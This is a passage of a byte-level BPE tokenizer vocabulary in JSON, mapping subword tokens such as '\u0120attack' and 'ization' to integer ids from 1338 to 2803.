"\u0120Sp": 1338, "\u0120case": 1339, "ON": 1340, "\u0120sk": 1341, "\u0120less": 1342, "\u0120+": 1343, "\u0120partic": 1344, "\u0120Pl": 1345, "ably": 1346, "uck": 1347, "ished": 1348, "chn": 1349, "be": 1350, "\u0120list": 1351, "ator": 1352, "\u0120top": 1353, "\u0120adv": 1354, "\u0120Be": 1355, "ruct": 1356, "\u0120dem": 1357, "ration": 1358, "ling": 1359, "gy": 1360, "reen": 1361, "ger": 1362, "\u0120home": 1363, "\u0120left": 1364, "\u0120better": 1365, "\u0120data": 1366, "\u012011": 1367, "\u0120attack": 1368, "\u0120proble": 1369, "line": 1370, "ards": 1371, "\u0120beh": 1372, "ral": 1373, "\u0120How": 1374, "\u0120She": 1375, "arge": 1376, "\u0120--": 1377, "://": 1378, "\u0120bro": 1379, "\u0120Ph": 1380, "ats": 1381, "\u0120build": 1382, "ww": 1383, "ided": 1384, "aim": 1385, "ases": 1386, "ency": 1387, "\u0120main": 1388, "ined": 1389, "\u0120including": 1390, "\u0120{": 1391, "\u0120got": 1392, "\u0120interest": 1393, "\u0120keep": 1394, "\u0120X": 1395, "\u0120eas": 1396, "aining": 1397, "\u0120class": 1398, "\u00e2\u0122\u00a6": 1399, "\u0120No": 1400, "\u0120var": 1401, "\u0120small": 1402, "ample": 1403, "AT": 1404, "\u0120ide": 1405, "\u0120So": 1406, "\u0120rece": 1407, "\u0120polit": 1408, "\u0120mov": 1409, "\u0120plan": 1410, "\u0120percent": 1411, "iving": 1412, "\u0120camp": 1413, "\u0120pay": 1414, "14": 1415, "sc": 1416, "ised": 1417, "\u0120unt": 1418, "oney": 1419, "ploy": 1420, "====": 1421, "\u0120didn": 1422, "\u0120Ind": 1423, "els": 1424, "ertain": 1425, "\u0120pos": 1426, "____": 1427, "iver": 1428, "\u0120process": 1429, "\u0120program": 1430, "ified": 1431, "\u0120Rep": 1432, "16": 1433, "uro": 1434, "ology": 1435, "atter": 1436, "ina": 1437, "\u0120name": 1438, "\u0120All": 1439, "\u0120four": 1440, "\u0120return": 1441, "vious": 1442, "bs": 1443, "\u0120called": 1444, "\u0120move": 1445, "\u0120Sc": 1446, "ird": 1447, "\u0120group": 1448, "\u0120bre": 1449, "\u0120men": 1450, "\u0120cap": 1451, "ten": 1452, "ee": 1453, "\u0120dri": 1454, "leg": 1455, "here": 1456, "uthor": 1457, "\u0120pat": 1458, "\u0120current": 1459, "ides": 1460, "\u0120pop": 1461, "to": 1462, "ention": 1463, "\u0120always": 1464, "\u0120mil": 1465, "\u0120women": 1466, "\u012016": 1467, "\u0120old": 1468, "iven": 1469, "raph": 1470, "\u0120Or": 1471, "ror": 1472, "ently": 1473, "\u0120near": 1474, "\u0120Ex": 1475, "ream": 1476, "sh": 1477, "\u012014": 1478, "\u0120free": 1479, "ission": 1480, "stand": 1481, "\u0120Con": 1482, "ality": 1483, "used": 1484, "13": 1485, "\u0120design": 1486, "\u0120change": 1487, "\u0120chang": 1488, "\u0120bo": 1489, "\u0120vis": 1490, "ember": 1491, "\u0120book": 1492, "ready": 1493, "\u0120kill": 1494, "25": 1495, "pped": 1496, "\u0120away": 1497, "\u0120able": 1498, "\u0120country": 1499, "\u0120const": 1500, "arn": 1501, "\u0120order": 1502, "AR": 1503, "ior": 1504, "ium": 1505, "orth": 1506, "18": 1507, "ailable": 1508, "\u0120sw": 1509, "\u0120million": 1510, "\u012013": 1511, "atic": 1512, "ted": 1513, "\u0120Go": 1514, "\u0120oper": 1515, "eng": 1516, "\u0120thing": 1517, "ajor": 1518, "conom": 1519, "\u0120Comm": 1520, "\u0120why": 1521, "ured": 1522, "ural": 1523, "\u0120school": 1524, "by": 1525, "\u0120Mar": 1526, "\u0120aff": 1527, "\u0120days": 1528, "\u0120ann": 1529, "ush": 1530, "ane": 1531, "If": 1532, "eg": 1533, "\u0120prof": 1534, "\u0120health": 1535, "outh": 1536, "But": 1537, "ional": 1538, ".,": 1539, "\u0120sol": 1540, "\u0120already": 1541, "\u012030": 1542, "\u0120charact": 1543, "He": 1544, "\u0120friend": 1545, "ES": 1546, "ians": 1547, "icle": 1548, "'d": 1549, "\u0120On": 1550, "\u0120least": 1551, "\u0120prom": 1552, "\u0120dr": 1553, "\u0120hist": 1554, "ither": 1555, "\u0120est": 1556, "iqu": 1557, "17": 1558, "son": 1559, "\u0120tell": 1560, "\u0120talk": 1561, "ohn": 1562, "oint": 1563, "lection": 1564, "AN": 1565, "\u0120until": 1566, "augh": 1567, "\u0120later": 1568, "\u0120ve": 1569, "\u0120view": 1570, "ending": 1571, "ived": 1572, "\u0120word": 1573, "ware": 1574, "\u0120cost": 1575, "\u0120enough": 1576, "\u0120give": 1577, "\u0120United": 1578, "\u0120techn": 1579, "arent": 1580, "OR": 1581, "\u0120par": 1582, "\u0120Dr": 1583, "\u01202016": 1584, "rist": 1585, "ering": 1586, "\u0120\u00c2": 1587, "\u0120large": 1588, "side": 1589, "acy": 1590, "ccess": 1591, "\u0120win": 1592, "\u0120important": 1593, "\u0120199": 1594, "\u0120doesn": 1595, "\u012017": 1596, "\u0120business": 1597, "\u0120clear": 1598, "\u0120rese": 1599, "\",": 1600, "ury": 1601, "\u0120equ": 1602, "aster": 1603, "alf": 1604, "\u0120American": 1605, "nect": 1606, "\u0120expect": 1607, "iversity": 1608, "\u0120occ": 1609, "\u0120Fl": 1610, "\u0120kind": 1611, "\u0120mean": 1612, "\u0120past": 1613, "\u0120dev": 1614, "\u0120bas": 1615, "let": 1616, "raft": 1617, "\u0120organ": 1618, "\u0120del": 1619, "\u0120perform": 1620, "\u0120story": 1621, "\u0120season": 1622, "\u0120Col": 1623, "\u0120claim": 1624, "\u0120came": 1625, "\u0120within": 1626, "\u0120line": 1627, "\u0120project": 1628, "\u0120At": 1629, "\u0120control": 1630, "ended": 1631, "\u0120Sy": 1632, "\u0120air": 1633, "ization": 1634, "\u0120*": 1635, "ley": 1636, "\u0120money": 1637, "idd": 1638, "You": 1639, "for": 1640, "\u0120family": 1641, "\u0120making": 1642, "\u0120bit": 1643, "\u0120police": 1644, "\u0120happen": 1645, "\u0120vers": 1646, "ony": 1647, "uff": 1648, "\u0120When": 1649, "\u0120sit": 1650, "ideo": 1651, "lf": 1652, "ison": 1653, "\u0120sure": 1654, "gin": 1655, "\u0120appear": 1656, "\u0120light": 1657, "\u0120es": 1658, "of": 1659, "\u0120water": 1660, "\u0120times": 1661, "not": 1662, "\u0120grow": 1663, "\u0120company": 1664, "\u0120Te": 1665, "ows": 1666, "\u0120mar": 1667, "ource": 1668, "iol": 1669, "arm": 1670, "br": 1671, "\u0120example": 1672, "\u0120conc": 1673, "\u0120fore": 1674, "\u0120To": 1675, "pro": 1676, "EN": 1677, "ries": 1678, "\u012025": 1679, "\u0120Can": 1680, "ney": 1681, "\u0120actually": 1682, "\u0120ever": 1683, "urity": 1684, "aken": 1685, "aps": 1686, "\u0120tax": 1687, "\u0120major": 1688, "ama": 1689, "\u0120often": 1690, "eral": 1691, "\u0120human": 1692, "\u0120job": 1693, "ister": 1694, "\u0120available": 1695, "ocr": 1696, "enn": 1697, "aid": 1698, "ivid": 1699, "\u0120record": 1700, "?\"": 1701, "\u0120sing": 1702, "\u0120Am": 1703, "idence": 1704, "\u0120news": 1705, "ster": 1706, "\u0120econom": 1707, "\u0120following": 1708, "\u0120Br": 1709, "ising": 1710, "\u0120hour": 1711, "most": 1712, "ument": 1713, "\u0120sex": 1714, "\u0120desc": 1715, "\u0120become": 1716, "\u0120Ed": 1717, "\u0120took": 1718, "\u0120having": 1719, "\u0120product": 1720, "ault": 1721, "As": 1722, "aring": 1723, "\u0120means": 1724, "\u0120hop": 1725, "une": 1726, "\u0120cho": 1727, "\u0120certain": 1728, "\u0120non": 1729, "\u0120deal": 1730, "24": 1731, "lement": 1732, "oci": 1733, "ene": 1734, "\u0120side": 1735, "\u0120Pr": 1736, "\u0120May": 1737, "\u0120reason": 1738, "ued": 1739, "ched": 1740, "ulation": 1741, "\u0120elect": 1742, "\u0120official": 1743, "\u0120possible": 1744, "\u0120hold": 1745, "ands": 1746, "ots": 1747, "\u0120city": 1748, "ories": 1749, "\u0120sever": 1750, "\u0120children": 1751, "\u0120once": 1752, "\u0120activ": 1753, "ler": 1754, "\u0120night": 1755, "itions": 1756, "\u0120John": 1757, "ape": 1758, "play": 1759, "\u0120done": 1760, "\u0120lim": 1761, "\u0120working": 1762, "\u0120Pres": 1763, "orld": 1764, "eb": 1765, "\u0120Co": 1766, "\u0120body": 1767, "ails": 1768, "utes": 1769, "\u0120Mr": 1770, "\u0120whether": 1771, "\u0120author": 1772, "rop": 1773, "\u0120proper": 1774, "\u0120seen": 1775, ");": 1776, "\u0120fac": 1777, "\u0120Su": 1778, "\u0120cond": 1779, "iting": 1780, "\u0120course": 1781, "\u0120}": 1782, "----------------": 1783, "aign": 1784, "\u0120event": 1785, "\u0120eng": 1786, "\u0120pot": 1787, "\u0120intern": 1788, "iam": 1789, "\u0120short": 1790, "empt": 1791, "\u00e3\u0124": 1792, "\u0120God": 1793, "ilar": 1794, "80": 1795, "\u0120orig": 1796, "IS": 1797, "ourn": 1798, "ability": 1799, "itive": 1800, "\u0120dam": 1801, "\u0120100": 1802, "\u0120press": 1803, "\u0120doing": 1804, "\u0120protect": 1805, "ring": 1806, "\u0120thought": 1807, "\u0120question": 1808, "rew": 1809, "\u0120War": 1810, "\u0120several": 1811, "\u0120State": 1812, "\u0120given": 1813, "\u0120fund": 1814, "\u0120Tw": 1815, "\u0120went": 1816, "ances": 1817, "work": 1818, "por": 1819, "my": 1820, "40": 1821, "\u0120arg": 1822, "artment": 1823, "ustom": 1824, "\u0120polic": 1825, "\u0120meet": 1826, "\u0120creat": 1827, "22": 1828, "\u0120States": 1829, "\u0120games": 1830, "raw": 1831, "uture": 1832, "\u0120understand": 1833, "urs": 1834, "\u0120Ob": 1835, "lish": 1836, "sy": 1837, "\u0120makes": 1838, "\u0120won": 1839, "agon": 1840, "\u0120htt": 1841, "\u0120love": 1842, "ential": 1843, "\u0120complete": 1844, "par": 1845, "\u0120Im": 1846, "AL": 1847, "\u0120account": 1848, "\u00c2\u0142": 1849, "ored": 1850, "vert": 1851, "\u0120ident": 1852, "\u01202015": 1853, "\u0120others": 1854, "\u0120Min": 1855, "iber": 1856, "verage": 1857, "There": 1858, "itional": 1859, "dd": 1860, "\u0120prob": 1861, "\u0120young": 1862, "\u0120along": 1863, "\u0120according": 1864, "\u0120yet": 1865, "\u0120members": 1866, "\u0120What": 1867, "oid": 1868, "\u0120Man": 1869, "And": 1870, "\u0120among": 1871, "ai": 1872, "\u0120employ": 1873, "\u0120Res": 1874, "\u0120>": 1875, "\u0120invol": 1876, "\u0120low": 1877, "af": 1878, "\u0120Car": 1879, "\u0120hig": 1880, "\u0120One": 1881, "\u0120Sec": 1882, "ination": 1883, "\u0120likely": 1884, "\u0120ant": 1885, "aged": 1886, "\u0120Russ": 1887, "\u0120ben": 1888, "\u0120rele": 1889, "For": 1890, "back": 1891, "\u0120Not": 1892, "\u0120president": 1893, "ball": 1894, "\u0120access": 1895, "ividual": 1896, "\u0120Dem": 1897, "\u0120Euro": 1898, "60": 1899, "\u0120known": 1900, "irl": 1901, "\u0120Gr": 1902, "\u0120early": 1903, "use": 1904, "iety": 1905, "\u00e2\u0122\u0135": 1906, "\u0120fight": 1907, "\u0120sent": 1908, "\u0120today": 1909, "\u0120market": 1910, "\".": 1911, "\u0120based": 1912, "\u0120strong": 1913, "urther": 1914, "\u0120deb": 1915, "mber": 1916, "\u0120problem": 1917, "\u0120death": 1918, "\u0120social": 1919, "imate": 1920, "AS": 1921, "ortun": 1922, "\u0120campaign": 1923, "ery": 1924, "Ch": 1925, "\u0120ey": 1926, "ially": 1927, "\u0120mus": 1928, "wh": 1929, "pos": 1930, "\u0120er": 1931, "\u0120saf": 1932, "\u0120months": 1933, "iron": 1934, "\u0120viol": 1935, "\u0120five": 1936, "\u0120stre": 1937, "\u0120players": 1938, "inc": 1939, "ald": 1940, "year": 1941, "aun": 1942, "\u0120success": 1943, "\u0120present": 1944, "erence": 1945, "\u01202014": 1946, "\u0120sugg": 1947, "\u0120particular": 1948, "\u0120try": 1949, "\u0120suggest": 1950, "\u0120Christ": 1951, "ones": 1952, "\u0120priv": 1953, "23": 1954, "\u0120crit": 1955, "\u0120land": 1956, "\u0120local": 1957, "ify": 1958, "29": 1959, "\u0120aut": 1960, "ED": 1961, "\u0120Gu": 1962, "\u0120mult": 1963, "\u0120political": 1964, "\u0120asked": 1965, "\u0120former": 1966, "itter": 1967, "ript": 1968, "\u0120close": 1969, "\u0120pract": 1970, "\u0120York": 1971, "\u0120getting": 1972, "\u0120across": 1973, "\u0120comb": 1974, "\u0120believe": 1975, "\u0120z": 1976, "\u0120toget": 1977, "\u0120together": 1978, "\u0120Cent": 1979, "irc": 1980, "\u0120individual": 1981, "\u0120Mc": 1982, "27": 1983, "isk": 1984, "\u0120Eng": 1985, "\u0120face": 1986, "\u012024": 1987, "\u0120value": 1988, "\u0120area": 1989, "ev": 1990, "\u0120writ": 1991, "\u0120President": 1992, "\u0120vot": 1993, "\u0120key": 1994, "\u0120mom": 1995, "put": 1996, "\u0120anything": 1997, "\u0120experience": 1998, "attle": 1999, "\u0120mind": 2000, "aff": 2001, "omm": 2002, "\u0120future": 2003, "ged": 2004, "\u0120cut": 2005, "\u0120tot": 2006, "itch": 2007, "\u0120video": 2008, "\u0120investig": 2009, "\u0120net": 2010, "\u0120My": 2011, "rict": 2012, "ien": 2013, ".)": 2014, "\u0120impro": 2015, "though": 2016, "wards": 2017, "\u0120connect": 2018, "\u0120Med": 2019, "selves": 2020, "ensive": 2021, "mb": 2022, "ober": 2023, "ators": 2024, "An": 2025, "\u012050": 2026, "\u0120redu": 2027, "resent": 2028, "\u0120above": 2029, "\u0120fre": 2030, "\u0120Europe": 2031, "sw": 2032, "\u0120amount": 2033, "\u0120App": 2034, "\u0120either": 2035, "\u0120milit": 2036, "\u0120anal": 2037, "\u0120fail": 2038, "\u0120En": 2039, "ales": 2040, "\u0120special": 2041, "\u0120black": 2042, "IT": 2043, "cher": 2044, "\u0120looking": 2045, "\u0120fire": 2046, "yn": 2047, "\u0120almost": 2048, "oon": 2049, "\u0120study": 2050, "\u0120miss": 2051, "ches": 2052, "rown": 2053, "\u0120tre": 2054, "\u0120community": 2055, "\u0120media": 2056, "\u0120food": 2057, "\u0120comes": 2058, "\u0120University": 2059, "\u0120single": 2060, "What": 2061, "uly": 2062, "\u0120half": 2063, "ague": 2064, "hod": 2065, "\u0120Republic": 2066, "\u0120started": 2067, "\u0120quick": 2068, "oto": 2069, "book": 2070, "\u0120issue": 2071, "itor": 2072, "\u0120else": 2073, "\u0120consider": 2074, "26": 2075, "rodu": 2076, "\u0120taken": 2077, "28": 2078, "99": 2079, "\u0120With": 2080, "\u0120true": 2081, "\u0120wa": 2082, "\u0120trad": 2083, "\u0120ago": 2084, "\u0120mess": 2085, "ief": 2086, "\u0120added": 2087, "oke": 2088, "\u0120bad": 2089, "\u0120fav": 2090, "33": 2091, "\u0120similar": 2092, "ask": 2093, "\u0120Don": 2094, "\u0120character": 2095, "orts": 2096, "\u0120House": 2097, "\u0120reported": 2098, "\u0120type": 2099, "val": 2100, "iod": 2101, "\u0120However": 2102, "\u0120targ": 2103, "\u0120entire": 2104, "pping": 2105, "\u0120history": 2106, "\u0120live": 2107, "ffic": 2108, "........": 2109, "ederal": 2110, "\u0120trying": 2111, "\u0120discuss": 2112, "\u0120Har": 2113, "aces": 2114, "lished": 2115, "\u0120self": 2116, "osp": 2117, "rest": 2118, "\u0120room": 2119, "elt": 2120, "\u0120fall": 2121, "olution": 2122, "\u0120et": 2123, "\u0120x": 2124, "\u0120isn": 2125, "\u0120idea": 2126, "bo": 2127, "\u0120sound": 2128, "\u0120Dep": 2129, "\u0120someone": 2130, "cially": 2131, "ully": 2132, "\u0120foc": 2133, "\u0120object": 2134, "ift": 2135, "aper": 2136, "\u0120player": 2137, "\u0120rather": 2138, "\u0120service": 2139, "ashing": 2140, "\u0120Do": 2141, "\u0120Part": 2142, "rug": 2143, "mon": 2144, "ply": 2145, "\u0120mor": 2146, "\u0120nothing": 2147, "\u0120provide": 2148, "IC": 2149, "ung": 2150, "\u0120party": 2151, "\u0120exist": 2152, "\u0120mag": 2153, "70": 2154, "\u0120rul": 2155, "\u0120house": 2156, "\u0120behind": 2157, "\u0120however": 2158, "\u0120World": 2159, "\u0120sum": 2160, "\u0120applic": 2161, "\u0120;": 2162, "\u0120function": 2163, "gr": 2164, "\u0120Pol": 2165, "\u0120front": 2166, "200": 2167, "\u0120series": 2168, "\u0120tem": 2169, "\u0120typ": 2170, "ills": 2171, "\u0120opt": 2172, "\u0120points": 2173, "\u0120below": 2174, "itted": 2175, "\u0120specific": 2176, "\u01202017": 2177, "umb": 2178, "\u0120ra": 2179, "\u0120previous": 2180, "\u0120pret": 2181, "reme": 2182, "\u0120custom": 2183, "\u0120court": 2184, "\u0120Me": 2185, "\u0120repl": 2186, "\u0120whole": 2187, "go": 2188, "cer": 2189, "\u0120treat": 2190, "\u0120Act": 2191, "\u0120probably": 2192, "\u0120learn": 2193, "ender": 2194, "\u0120Ass": 2195, "\u0120version": 2196, "now": 2197, "\u0120check": 2198, "\u0120Cal": 2199, "RE": 2200, "minist": 2201, "On": 2202, "ources": 2203, "\u0120benef": 2204, "\u0120doc": 2205, "\u0120deter": 2206, "\u0120enc": 2207, "\u0120super": 2208, "\u0120address": 2209, "\u0120vict": 2210, "\u01202013": 2211, "\u0120meas": 2212, "tr": 2213, "\u0120field": 2214, "When": 2215, "\u0120signific": 2216, "uge": 2217, "\u0120feat": 2218, "\u0120common": 2219, "load": 2220, "\u0120begin": 2221, "\u0120bring": 2222, "\u0120action": 2223, "erman": 2224, "\u0120describ": 2225, "\u0120indust": 2226, "\u0120wanted": 2227, "ried": 2228, "ming": 2229, "\u0120attempt": 2230, "45": 2231, "fer": 2232, "\u0120due": 2233, "ression": 2234, "##": 2235, "\u0120shall": 2236, "\u0120six": 2237, "oo": 2238, "\u0120step": 2239, "\u0120pub": 2240, "\u0120himself": 2241, "\u012023": 2242, "\u0120cop": 2243, "\u0120dest": 2244, "\u0120stop": 2245, "AC": 2246, "ibility": 2247, "\u0120lab": 2248, "icult": 2249, "\u0120hours": 2250, "\u0120create": 2251, "\u0120further": 2252, "\u0120America": 2253, "\u0120City": 2254, "\u0120dou": 2255, "head": 2256, "ST": 2257, "\u0120North": 2258, "cing": 2259, "\u0120national": 2260, "ule": 2261, "\u0120Inst": 2262, "\u0120taking": 2263, "\u0120Qu": 2264, "irt": 2265, "\u0120red": 2266, "\u0120research": 2267, "viron": 2268, "\u0120Ge": 2269, "\u0120break": 2270, "ana": 2271, "\u0120space": 2272, "aterial": 2273, "\u0120recent": 2274, "\u0120Ab": 2275, "\u0120general": 2276, "\u0120hit": 2277, "\u0120period": 2278, "\u0120everything": 2279, "ively": 2280, "\u0120phys": 2281, "\u0120saying": 2282, "anks": 2283, "\u0120cou": 2284, "\u0120cult": 2285, "aced": 2286, "eal": 2287, "uation": 2288, "\u0120coun": 2289, "lu": 2290, "\u0120include": 2291, "\u0120position": 2292, "\u0120After": 2293, "\u0120Canad": 2294, "\u0120Em": 2295, "\u0120imm": 2296, "\u0120Red": 2297, "\u0120pick": 2298, "\u0120compl": 2299, "\u0120matter": 2300, "reg": 2301, "ext": 2302, "angu": 2303, "isc": 2304, "ole": 2305, "aut": 2306, "\u0120compet": 2307, "eed": 2308, "fect": 2309, "\u012021": 2310, "\u0120Sen": 2311, "\u0120These": 2312, "asing": 2313, "\u0120cannot": 2314, "\u0120init": 2315, "\u0120relations": 2316, "ached": 2317, "\u0120bar": 2318, "\u012040": 2319, "\u0120TH": 2320, "\u01202012": 2321, "\u0120vol": 2322, "\u0120ground": 2323, "\u0120security": 2324, "\u0120upd": 2325, "ilt": 2326, "35": 2327, "\u0120concern": 2328, "\u0120Just": 2329, "\u0120white": 2330, "\u0120seems": 2331, "\u0120Her": 2332, "pecially": 2333, "ients": 2334, "\u0120announ": 2335, "\u0120fig": 2336, "ights": 2337, "\u0120stri": 2338, "like": 2339, "ids": 2340, "\u0120sus": 2341, "\u0120watch": 2342, "\u0120\u00e2": 2343, "\u0120wind": 2344, "\u0120Cont": 2345, "\u0120itself": 2346, "\u0120mass": 2347, "Al": 2348, "yle": 2349, "ique": 2350, "\u0120National": 2351, "\u0120abs": 2352, "\u0120pack": 2353, "\u0120outside": 2354, "\u0120anim": 2355, "\u0120pain": 2356, "eter": 2357, "\u0120manag": 2358, "duct": 2359, "ogn": 2360, "\u0120]": 2361, "\u0120Sept": 2362, "sec": 2363, "off": 2364, "\u0120Jan": 2365, "\u0120foot": 2366, "ades": 2367, "\u0120third": 2368, "\u0120mot": 2369, "\u0120evidence": 2370, "inton": 2371, "\u0120threat": 2372, "apt": 2373, "ples": 2374, "cle": 2375, "\u0120lo": 2376, "\u0120decl": 2377, "\u0120item": 2378, "medi": 2379, "\u0120represent": 2380, "omb": 2381, "amer": 2382, "\u0120significant": 2383, "ograph": 2384, "su": 2385, "\u0120cal": 2386, "ires": 2387, "0000": 2388, "ID": 2389, "AM": 2390, "\u0120simply": 2391, "\u0120longer": 2392, "\u0120file": 2393, "OT": 2394, "che": 2395, "So": 2396, "ateg": 2397, "org": 2398, "\u0120His": 2399, "\u0120ener": 2400, "\u0120dom": 2401, "\u0120upon": 2402, "ili": 2403, "\":\"": 2404, "\u0120themselves": 2405, "\u0120coming": 2406, "\u0120quite": 2407, "\u0120difficult": 2408, "\u0120Bar": 2409, "ilities": 2410, "rel": 2411, "ends": 2412, "cial": 2413, "64": 2414, "\u0120woman": 2415, "rap": 2416, "yr": 2417, "\u0120necess": 2418, "ips": 2419, "\u0120text": 2420, "\u0120require": 2421, "\u0120military": 2422, "\u0120review": 2423, "\u0120respons": 2424, "75": 2425, "\u0120subject": 2426, "\u0120instead": 2427, "\u0120issues": 2428, "\u0120gen": 2429, "\",\"": 2430, "\u0120minutes": 2431, "\u0120weap": 2432, "ray": 2433, "amed": 2434, "time": 2435, "bl": 2436, "How": 2437, "\u0120code": 2438, "\u0120Sm": 2439, "\u0120higher": 2440, "\u0120Ste": 2441, "ris": 2442, "\u0120page": 2443, "\u0120students": 2444, "\u0120Intern": 2445, "\u0120method": 2446, "\u0120Aug": 2447, "\u0120Per": 2448, "\u0120Ag": 2449, "\u0120policy": 2450, "\u0120Sw": 2451, "\u0120exec": 2452, "\u0120accept": 2453, "ume": 2454, "ribut": 2455, "\u0120words": 2456, "\u0120final": 2457, "\u0120changes": 2458, "\u0120Democr": 2459, "\u0120friends": 2460, "\u0120respect": 2461, "\u0120ep": 2462, "\u0120compan": 2463, "ivil": 2464, "\u0120damage": 2465, "****": 2466, "ogle": 2467, "vironment": 2468, "\u0120neg": 2469, "ental": 2470, "\u0120ap": 2471, "\u0120total": 2472, "ival": 2473, "!\"": 2474, "lim": 2475, "\u0120needs": 2476, "\u0120agre": 2477, "\u0120development": 2478, "\u0120age": 2479, "iple": 2480, "21": 2481, "\u0120results": 2482, "\u0120Af": 2483, "Sh": 2484, "\u0120gun": 2485, "\u0120Obama": 2486, "roll": 2487, "\u0120@": 2488, "\u0120rights": 2489, "\u0120Brit": 2490, "\u0120running": 2491, "\u0120wasn": 2492, "\u0120port": 2493, "\u0120rate": 2494, "\u0120pretty": 2495, "\u0120target": 2496, "\u0120saw": 2497, "\u0120circ": 2498, "\u0120works": 2499, "icro": 2500, "alt": 2501, "over": 2502, "www": 2503, "That": 2504, "lier": 2505, "\u0120everyone": 2506, "ude": 2507, "\u0120pie": 2508, "iddle": 2509, "rael": 2510, "\u0120rad": 2511, "\u0120block": 2512, "\u0120walk": 2513, "To": 2514, "\u00e3\u0123": 2515, "nes": 2516, "\u0120Aust": 2517, "aul": 2518, "rote": 2519, "\u0120South": 2520, "ession": 2521, "oph": 2522, "\u0120shows": 2523, "\u0120site": 2524, "\u0120jo": 2525, "\u0120risk": 2526, "clus": 2527, "lt": 2528, "\u0120inj": 2529, "iding": 2530, "\u0120Spe": 2531, "\u0120chall": 2532, "irm": 2533, "\u012022": 2534, "itting": 2535, "str": 2536, "\u0120hy": 2537, "LE": 2538, "key": 2539, "\u0120began": 2540, "atur": 2541, "ashington": 2542, "lam": 2543, "\u0120Dav": 2544, "bit": 2545, "\u0120size": 2546, "\u0120Par": 2547, "38": 2548, "ournal": 2549, "face": 2550, "\u0120decision": 2551, "\u0120larg": 2552, "\u0120jud": 2553, "rect": 2554, "\u0120continue": 2555, "\u0120Oct": 2556, "overed": 2557, "\u0120Int": 2558, "========": 2559, "\u0120parent": 2560, "\u0120Will": 2561, "\u0120easy": 2562, "\u0120drug": 2563, "anger": 2564, "\u0120sense": 2565, "\u0120di": 2566, "iday": 2567, "\u0120energy": 2568, "istic": 2569, "\u0120associ": 2570, "arter": 2571, "obal": 2572, "eks": 2573, "\u0120El": 2574, "urch": 2575, "\u0120girl": 2576, "oe": 2577, "itle": 2578, "\u012028": 2579, "\u0120Che": 2580, "\u0120request": 2581, "\u0120soon": 2582, "\u0120host": 2583, "ky": 2584, "\u0120states": 2585, "omes": 2586, "\u0120material": 2587, "lex": 2588, "\u0120moment": 2589, "\u0120answ": 2590, "onse": 2591, "\u0120especially": 2592, "\u0120norm": 2593, "\u0120services": 2594, "pite": 2595, "ran": 2596, "\u0120role": 2597, "44": 2598, "):": 2599, "\u0120cred": 2600, "Cl": 2601, "________": 2602, "\u0120mat": 2603, "\u0120log": 2604, "\u0120Clinton": 2605, "OU": 2606, "\u0120office": 2607, "\u012026": 2608, "\u0120charg": 2609, "\u0120track": 2610, "ma": 2611, "\u0120heart": 2612, "\u0120ball": 2613, "\u0120personal": 2614, "\u0120building": 2615, "na": 2616, "set": 2617, "body": 2618, "\u0120Black": 2619, "\u0120increase": 2620, "itten": 2621, "\u0120needed": 2622, "36": 2623, "32": 2624, "=\"": 2625, "\u0120lost": 2626, "\u0120became": 2627, "\u0120groups": 2628, "\u0120Mus": 2629, "\u0120wrote": 2630, "\u0120Pe": 2631, "\u0120prop": 2632, "joy": 2633, "\u00c3\u00a9": 2634, "\u0120White": 2635, "\u0120dead": 2636, ".'": 2637, "\u0120http": 2638, "\u0120webs": 2639, "OS": 2640, "\u0120inside": 2641, "\u0120wrong": 2642, "\u0120statement": 2643, "\u0120...": 2644, "yl": 2645, "\u0120film": 2646, "\u0120music": 2647, "\u0120share": 2648, "ification": 2649, "\u0120release": 2650, "\u0120forward": 2651, "\u0120stay": 2652, "\u0120comput": 2653, "itte": 2654, "ser": 2655, "\u0120original": 2656, "\u0120card": 2657, "\u0120cand": 2658, "\u0120div": 2659, "atural": 2660, "\u0120favor": 2661, "OM": 2662, "\u0120cases": 2663, "uses": 2664, "\u0120section": 2665, "\u0120leave": 2666, "ging": 2667, "oved": 2668, "\u0120Washington": 2669, "39": 2670, "\u0120Gl": 2671, "\u0120required": 2672, "action": 2673, "apan": 2674, "oor": 2675, "iter": 2676, "\u0120King": 2677, "\u0120countries": 2678, "\u0120German": 2679, "lling": 2680, "\u012027": 2681, "34": 2682, "\u0120questions": 2683, "\u0120prim": 2684, "\u0120cell": 2685, "\u0120shoot": 2686, "\u0120anyone": 2687, "\u0120West": 2688, "\u0120affect": 2689, "epend": 2690, "\u0120online": 2691, "\u0120Israel": 2692, "\u0120September": 2693, "\u0120ability": 2694, "\u0120content": 2695, "ises": 2696, "\u0120reve": 2697, "\u0120laun": 2698, "\u0120indic": 2699, "\u0120force": 2700, "cast": 2701, "\u0120sold": 2702, "aving": 2703, "fl": 2704, "\u0120soft": 2705, "\u0120companies": 2706, "ceed": 2707, "\u0120article": 2708, "\u0120aud": 2709, "\u0120rev": 2710, "\u0120educ": 2711, "\u0120playing": 2712, "05": 2713, "\u0120held": 2714, "ctor": 2715, "\u0120released": 2716, "\u0120federal": 2717, "37": 2718, "\u0120administ": 2719, "\u0120interview": 2720, "\u0120install": 2721, "\u0120received": 2722, "\u0120source": 2723, "uk": 2724, "Ph": 2725, "\u0120serious": 2726, "\u0120created": 2727, "\u0120cause": 2728, "\u0120immedi": 2729, "\u0120defin": 2730, "uel": 2731, "\u0120Department": 2732, "ctions": 2733, "\u0120Cour": 2734, "\u0120Now": 2735, "ze": 2736, "ites": 2737, "itution": 2738, "\u0120late": 2739, "\u0120speak": 2740, "ners": 2741, "\u0120legal": 2742, "ari": 2743, "\u0120Cor": 2744, "\u0120weeks": 2745, "\u0120model": 2746, "\u0120pred": 2747, "\u0120exact": 2748, "BC": 2749, "\u0120By": 2750, "ING": 2751, "osing": 2752, "\u0120takes": 2753, "\u0120regard": 2754, "\u0120opportun": 2755, "\u0120price": 2756, "\u0120198": 2757, "\u0120Apr": 2758, "fully": 2759, "\u0120ord": 2760, "\u0120problems": 2761, "ruction": 2762, "ham": 2763, "\u0120Count": 2764, "lege": 2765, "\u0120leaders": 2766, "ET": 2767, "lev": 2768, "\u0120deep": 2769, "ological": 2770, "ese": 2771, "haps": 2772, "\u0120Some": 2773, "\u0120pers": 2774, "\u0120contract": 2775, "\u0120relationship": 2776, "sp": 2777, "oud": 2778, "\u0120base": 2779, "48": 2780, "mit": 2781, "Ad": 2782, "ancial": 2783, "\u0120consum": 2784, "\u0120potential": 2785, "\u0120langu": 2786, "rem": 2787, "eth": 2788, "\u0120relig": 2789, "ressed": 2790, "66": 2791, "\u0120link": 2792, "\u0120lower": 2793, "ayer": 2794, "\u0120June": 2795, "\u0120fem": 2796, "unt": 2797, "erc": 2798, "urd": 2799, "\u0120contact": 2800, "\u0120ill": 2801, "\u0120mother": 2802, "\u0120estab": 2803, "htt": 